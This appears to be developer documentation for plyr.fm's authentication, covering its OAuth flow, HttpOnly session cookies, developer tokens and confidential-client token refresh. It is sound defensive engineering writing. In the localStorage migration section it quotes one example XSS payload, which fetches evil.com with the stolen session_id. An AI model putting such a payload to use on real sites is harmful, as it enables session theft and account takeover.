authentication#
plyr.fm uses secure cookie-based authentication to protect user sessions from XSS attacks.
overview#
flow:
- user initiates OAuth login via
/auth/start?handle={handle} - backend redirects to user's PDS for authorization
- PDS redirects back to
/auth/callbackwith authorization code - backend exchanges code for OAuth tokens, creates session
- backend creates one-time exchange token, redirects to frontend
- frontend calls
/auth/exchangewith exchange token - backend sets HttpOnly cookie and returns session_id
- all subsequent requests automatically include cookie
sequenceDiagram
autonumber
participant U as User Browser
participant FE as Frontend (Svelte)
participant API as Backend API
participant PDS as User PDS
participant DB as Session DB
U->>FE: Visit /portal (unauthenticated)
FE->>API: GET /auth/start?handle=handle
API-->>U: 307 redirect to PDS authorize
U->>PDS: Approve OAuth request
PDS-->>API: /auth/callback (code, state, iss)
API->>PDS: POST /oauth/token
API->>DB: INSERT session (encrypted tokens)
API-->>U: 303 redirect /portal?exchange_token=…
FE->>API: POST /auth/exchange {exchange_token}
API->>DB: UPDATE exchange token (mark used)
API-->>FE: Set-Cookie session_id=… (HttpOnly)
FE->>API: Subsequent fetches w/ credentials: include
API->>DB: SELECT session via cookie
API-->>FE: JSON response (tracks, likes, uploads…)
key security properties:
- session tokens stored in HttpOnly cookies (not accessible to JavaScript)
- cookies use
Secureflag (HTTPS only in production) - cookies use
SameSite=Lax(CSRF protection) - no explicit domain set (prevents cross-environment leakage)
- frontend never touches session_id in localStorage or JavaScript
backend implementation#
setting cookies#
cookies are set in /auth/exchange after validating the one-time exchange token:
# src/backend/api/auth.py
if is_browser and settings.frontend.url:
is_localhost = settings.frontend.url.startswith("http://localhost")
response.set_cookie(
key="session_id",
value=session_id,
httponly=True,
secure=not is_localhost, # secure cookies require HTTPS
samesite="lax",
max_age=14 * 24 * 60 * 60, # 14 days
)
environment behavior:
- localhost:
secure=False(HTTP development) - staging/production:
secure=True(HTTPS required) - no domain parameter: cookies scoped to exact host (prevents staging→production leakage)
reading cookies#
auth dependencies check cookies first, fall back to Authorization header:
# src/backend/_internal/auth.py
async def require_auth(
authorization: Annotated[str | None, Header()] = None,
session_id: Annotated[str | None, Cookie(alias="session_id")] = None,
) -> Session:
"""require authentication with cookie (browser) or header (SDK/CLI) support."""
session_id_value = None
if session_id: # check cookie first
session_id_value = session_id
elif authorization and authorization.startswith("Bearer "):
session_id_value = authorization.removeprefix("Bearer ")
if not session_id_value:
raise HTTPException(status_code=401, detail="not authenticated")
session = await get_session(session_id_value)
if not session:
raise HTTPException(status_code=401, detail="invalid or expired session")
return session
parameter aliasing: Cookie(alias="session_id") tells FastAPI to look for a cookie named session_id (not the parameter name).
optional auth endpoints#
endpoints that show different data for authenticated vs anonymous users:
# src/backend/api/tracks.py
@router.get("/")
async def list_tracks(
db: Annotated[AsyncSession, Depends(get_db)],
request: Request,
session_id_cookie: Annotated[str | None, Cookie(alias="session_id")] = None,
) -> dict:
# check cookie or header
session_id = (
session_id_cookie
or request.headers.get("authorization", "").replace("Bearer ", "")
)
# optional auth logic
if session_id and (auth_session := await get_session(session_id)):
# fetch liked tracks for authenticated user
liked_track_ids = set(...)
examples:
/tracks/- shows liked state if authenticated/tracks/{track_id}- shows liked state if authenticated/albums/{handle}/{slug}- shows liked state for album tracks if authenticated
frontend implementation#
sending cookies#
all requests include credentials: 'include' to send cookies:
// frontend/src/lib/auth.svelte.ts
const response = await fetch(`${API_URL}/auth/me`, {
credentials: 'include' // send cookies
});
// frontend/src/lib/uploader.svelte.ts (XMLHttpRequest)
const xhr = new XMLHttpRequest();
xhr.open('POST', `${API_URL}/tracks/`);
xhr.withCredentials = true; // send cookies
no localStorage#
the frontend never reads or writes session_id to localStorage:
// ❌ OLD (vulnerable to XSS)
localStorage.setItem('session_id', sessionId);
const sessionId = localStorage.getItem('session_id');
headers['Authorization'] = `Bearer ${sessionId}`;
// ✅ NEW (secure)
// cookies automatically sent with credentials: 'include'
// no manual session management needed
auth state management#
auth state is checked via /auth/me:
// frontend/src/lib/auth.svelte.ts
async initialize() {
try {
const response = await fetch(`${API_URL}/auth/me`, {
credentials: 'include'
});
if (response.ok) {
const data = await response.json();
this.user = { did: data.did, handle: data.handle };
this.isAuthenticated = true;
}
} catch (error) {
this.isAuthenticated = false;
}
}
environment architecture#
all environments use custom domains on the same eTLD+1 (.plyr.fm) to enable cookie sharing between frontend and backend within each environment:
staging#
- frontend:
stg.plyr.fm(cloudflare pages project:plyr-fm-stg) - backend:
api-stg.plyr.fm(fly.io app:relay-api-staging) - cookie domain: implicit (scoped to
api-stg.plyr.fm) - CORS: backend allows
https://stg.plyr.fm
production#
- frontend:
plyr.fm(cloudflare pages project:plyr-fm) - backend:
api.plyr.fm(fly.io app:relay-api) - cookie domain: implicit (scoped to
api.plyr.fm) - CORS: backend allows
https://plyr.fmandhttps://www.plyr.fm
local development#
- frontend:
localhost:5173(bun dev server) - backend:
localhost:8001(uvicorn) - cookie domain: implicit (scoped to
localhost) - CORS: backend allows
http://localhost:5173
why no explicit domain?
omitting the domain parameter prevents cookies from being shared across environments:
- staging cookie (
api-stg.plyr.fm) not sent to production (api.plyr.fm) - production cookie (
api.plyr.fm) not sent to staging (api-stg.plyr.fm)
if we set domain=".plyr.fm", cookies would be shared across all subdomains, causing session leakage between environments.
why SameSite=Lax?#
SameSite=Lax provides CSRF protection while allowing same-site requests:
- allows: navigation from
stg.plyr.fm→api-stg.plyr.fm(same eTLD+1) - allows: fetch with
credentials: 'include'from same origin - blocks: cross-site POST requests (CSRF protection)
- blocks: cookies from being sent to completely different domains
alternative: SameSite=None
- required for cross-site cookies (e.g., embedding widgets from external domains)
- not needed for plyr.fm since frontend and backend are same-site
- less secure (allows cross-site requests)
why HttpOnly?#
HttpOnly cookies cannot be accessed by JavaScript:
// ❌ cannot read HttpOnly cookies
console.log(document.cookie); // session_id not visible
// ✅ cookies still sent automatically
fetch('/auth/me', { credentials: 'include' });
protects against:
- XSS attacks stealing session tokens
- malicious scripts exfiltrating credentials
- account takeover via stolen sessions
does NOT protect against:
- CSRF (use SameSite for that)
- man-in-the-middle attacks (use Secure flag + HTTPS)
- session fixation (use secure random session IDs)
migration from localStorage#
issue #237 tracked the migration from localStorage to cookies.
old flow (vulnerable):
/auth/exchangereturns{ session_id: "..." }- frontend stores in localStorage:
localStorage.setItem('session_id', sessionId) - every request:
headers['Authorization'] = Bearer ${localStorage.getItem('session_id')} - ❌ any XSS payload can steal:
fetch('https://evil.com?token=' + localStorage.getItem('session_id'))
new flow (secure):
/auth/exchangesets HttpOnly cookie AND returns{ session_id: "..." }- frontend does nothing with session_id (only for SDK/CLI clients)
- every request:
credentials: 'include'sends cookie automatically - ✅ JavaScript cannot access session_id
backwards compatibility:
- backend still returns
session_idin response body for non-browser clients - backend accepts both cookies and Authorization headers
- SDK/CLI clients unaffected (continue using headers)
security checklist#
authentication implementation checklist:
- cookies use
HttpOnlyflag - cookies use
Secureflag in production - cookies use
SameSite=LaxorSameSite=Strict - no explicit
domainset (prevents cross-environment leakage) - frontend sends
credentials: 'include'on all requests - frontend never reads/writes session_id to localStorage
- backend checks cookies before Authorization header
- CORS configured per environment (only allow same-origin)
- session tokens are cryptographically random
- sessions expire after reasonable time (14 days)
- logout properly deletes cookies
testing#
manual testing#
test cookie is set:
- log in at https://stg.plyr.fm
- open DevTools → Application → Cookies →
https://api-stg.plyr.fm - verify
session_idcookie exists with:- HttpOnly: ✓
- Secure: ✓
- SameSite: Lax
- Path: /
- Domain: api-stg.plyr.fm (no leading dot)
test cookie is sent:
- stay logged in
- open DevTools → Network tab
- navigate to
/portalor any authenticated page - inspect request to
/auth/me - verify
Cookie: session_id=...header is present
test cross-environment isolation:
- log in to staging at https://stg.plyr.fm
- open https://plyr.fm (production)
- verify you are NOT logged in (staging cookie not sent to production)
troubleshooting#
cookies not being set#
symptom: /auth/exchange returns 200 but no cookie in DevTools
check:
- is
FRONTEND_URLenvironment variable set?flyctl ssh console -a relay-api-staging echo $FRONTEND_URL - is request from a browser (user-agent header)?
- is response using HTTPS in production (Secure flag requires it)?
cookies not being sent#
symptom: /auth/me returns 401 even after login
check:
- frontend using
credentials: 'include'? - CORS allowing credentials?
# backend MUST allow credentials allow_credentials=True - origin matches CORS regex?
- SameSite policy blocking request?
localhost cookies not working#
symptom: cookies work in staging/production but not localhost
check:
- is
FRONTEND_URL=http://localhost:5173set locally? - frontend and backend both on
localhost(not127.0.0.1)? - backend using
secure=Falsefor localhost?
developer tokens (programmatic access)#
for scripts, CLIs, and automated workflows, create a long-lived developer token:
creating a token#
via UI (recommended):
- go to portal → "your data" → "developer tokens" section
- optionally enter a name (e.g., "upload-script", "ci-pipeline")
- select expiration (30/90/180/365 days or never)
- click "create token"
- authorize at your PDS (you'll be redirected to approve the OAuth grant)
- copy the token immediately after redirect (shown only once)
via API:
// step 1: start OAuth flow (returns auth_url to redirect to)
const response = await fetch('/auth/developer-token/start', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({ name: 'my-script', expires_in_days: 90 })
});
const { auth_url } = await response.json();
// step 2: redirect user to auth_url to authorize at their PDS
// step 3: on callback, token is returned via exchange flow
managing tokens#
list active tokens: the portal shows all your active developer tokens with:
- token name (or auto-generated identifier)
- creation date
- expiration date
revoke a token:
- go to portal → "your data" → "developer tokens"
- find the token in the list
- click "revoke" to immediately invalidate it
via API:
# list tokens
curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens
# revoke by prefix (first 8 chars shown in list)
curl -X DELETE -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens/abc12345
using tokens#
set the token in your environment:
export PLYR_TOKEN="your_token_here"
use with any authenticated endpoint:
# check auth
curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/me
CLI usage (scripts/plyr.py):
# list your tracks
PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py list
# upload a track
PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py upload track.mp3 "My Track"
# download a track
PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py download 42 -o my-track.mp3
# delete a track
PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py delete 42 -y
configuration#
backend settings in AuthSettings:
developer_token_default_days: default expiration (90 days)developer_token_max_days: max allowed expiration (365 days)- use
expires_in_days: 0to request the maximum allowed by refresh lifetime
how it works#
developer tokens are sessions with their own independent OAuth grant. when you create a dev token, you go through a full OAuth authorization flow at your PDS, which gives the token its own access/refresh credentials. this means:
- dev tokens can refresh independently (no staleness when browser session refreshes)
- each token has its own DPoP keypair for request signing
- logging out of browser doesn't affect dev tokens (cookie isolation)
- revoking browser session doesn't affect dev tokens
dev tokens can:
- read your data (tracks, likes, profile)
- upload tracks (creates ATProto records on your PDS)
- perform any authenticated action
security notes:
- tokens have full account access - treat like passwords
- revoke individual tokens via the portal or API
- each token is independent - revoking one doesn't affect others
- token names help identify which token is used where
- tokens require explicit OAuth consent at your PDS
OAuth client types: public vs confidential#
ATProto OAuth distinguishes between two types of clients based on their ability to authenticate themselves to the authorization server.
what is a confidential client?#
a confidential client is an OAuth client that can prove its identity to the authorization server using cryptographic keys. the term "confidential" means the client can keep a secret - specifically, an ES256 private key that never leaves the server.
public client (default):
- cannot authenticate itself (uses
token_endpoint_auth_method: "none") - anyone could impersonate your client_id
- authorization server issues 2-week refresh tokens
confidential client (with OAUTH_JWK):
- authenticates using
private_key_jwt- signs a JWT with its private key - authorization server verifies signature against your
/.well-known/jwks.json - proves the request actually came from your server
- authorization server issues 180-day refresh tokens
why this matters for plyr.fm#
with public clients, the underlying ATProto refresh token expires after 2 weeks regardless of what we store in our database. users would need to re-authenticate with their PDS every 2 weeks.
with confidential clients:
- developer tokens work long-term - not limited to 2 weeks
- users don't get randomly kicked out after 2 weeks of inactivity
- sessions last up to refresh lifetime as long as tokens are refreshed within 180 days
how it works#
-
key generation: generate an ES256 (P-256) keypair
uv run python scripts/gen_oauth_jwk.py -
configuration: set
OAUTH_JWKenv var with the private key JSON -
JWKS endpoint: backend serves public key at
/.well-known/jwks.json- authorization server fetches this to verify our signatures
-
client metadata:
/oauth-client-metadata.jsonadvertises:{ "token_endpoint_auth_method": "private_key_jwt", "token_endpoint_auth_signing_alg": "ES256", "jwks_uri": "https://plyr.fm/.well-known/jwks.json" } -
token requests: on every token request (initial AND refresh), the library:
- creates a short-lived JWT (
client_assertion) signed with our private key - includes
client_assertion_typeandclient_assertionin the request - PDS verifies signature → issues long-lived tokens
- creates a short-lived JWT (
implementation details#
the confidential client support lives in our atproto fork (zzstoatzz/atproto):
# packages/atproto_oauth/client.py
client = OAuthClient(
client_id='https://plyr.fm/oauth-client-metadata.json',
redirect_uri='https://plyr.fm/auth/callback',
scope='atproto ...',
state_store=state_store,
session_store=session_store,
client_secret_key=ec_private_key, # enables confidential client
)
when client_secret_key is set, _make_token_request() automatically adds client assertions to all token endpoint calls (initial exchange, refresh, revoke).
key rotation#
for key rotation:
- generate new key with different
kid(key ID) - add both keys to JWKS (old and new)
- deploy - new tokens use new key, old tokens still verify
- after 180 days, remove old key from JWKS
token refresh mechanism#
plyr.fm automatically refreshes ATProto tokens when they expire. here's how it works:
- trigger: user makes a PDS request (upload, create record, etc.)
- detection: PDS returns
401 Unauthorizedwith"exp"in error message (access token expired) - refresh:
_refresh_session_tokens()in_internal/atproto/client.py:- acquires per-session lock (prevents race conditions)
- calls
OAuthClient.refresh_session()with the refresh token - for confidential clients: signs a client assertion JWT
- PDS verifies assertion → issues new tokens
- saves new tokens to database
- retry: original request retries with fresh tokens
what gets refreshed:
- access token: short-lived (~minutes), refreshed frequently
- refresh token: long-lived (2 weeks public, 180 days confidential), rotated on each use
observability: look for these log messages in logfire:
"access token expired for did:plc:..., attempting refresh""refreshing access token for did:plc:...""successfully refreshed access token for did:plc:..."
migration: deploying confidential client#
when deploying confidential client support, existing sessions continue to work but have limitations:
| aspect | existing sessions | new sessions (post-deploy) |
|---|---|---|
| plyr.fm session | unchanged | unchanged |
| ATProto refresh token | 2-week lifetime (public client) | 180-day lifetime (confidential) |
| behavior at 2 weeks | refresh fails → re-auth needed | continues working |
what happens to existing tokens:
- existing sessions were created as "public client" - the PDS issued 2-week refresh tokens
- those refresh tokens cannot be upgraded - they have a fixed expiration
- when the refresh token expires, the next PDS request will fail
- users will need to re-authenticate to get new sessions with 180-day refresh tokens
timeline example:
- dec 8: user creates dev token (public client, 2-week refresh)
- dec 22: ATProto refresh token expires
- user tries to upload → refresh fails → 401 error
- user creates new dev token → now gets 180-day refresh
production impact (as of deployment):
- most browser sessions expire within 14 days anyway (cookie
max_age) - developer tokens are affected most - they have 90+ day session expiry but 2-week refresh
- only 3 long-lived dev tokens in production (internal accounts)
- new sessions will automatically get 180-day refresh tokens
sources#
- ATProto OAuth spec - tokens and session lifetime
- RFC 7523 - JWT Bearer Client Authentication
- bailey's ATProto SvelteKit template - TypeScript reference implementation
- PR #578: confidential OAuth client support
references#
- MDN: HttpOnly cookies
- MDN: SameSite cookies
- OWASP: Session Management Cheat Sheet
- ATProto OAuth spec
- issue #237: secure browser auth storage
- PR #239: frontend localStorage removal
- PR #243: backend cookie implementation
- PR #244: merged cookie-based auth
- PR #367: developer tokens with independent OAuth grants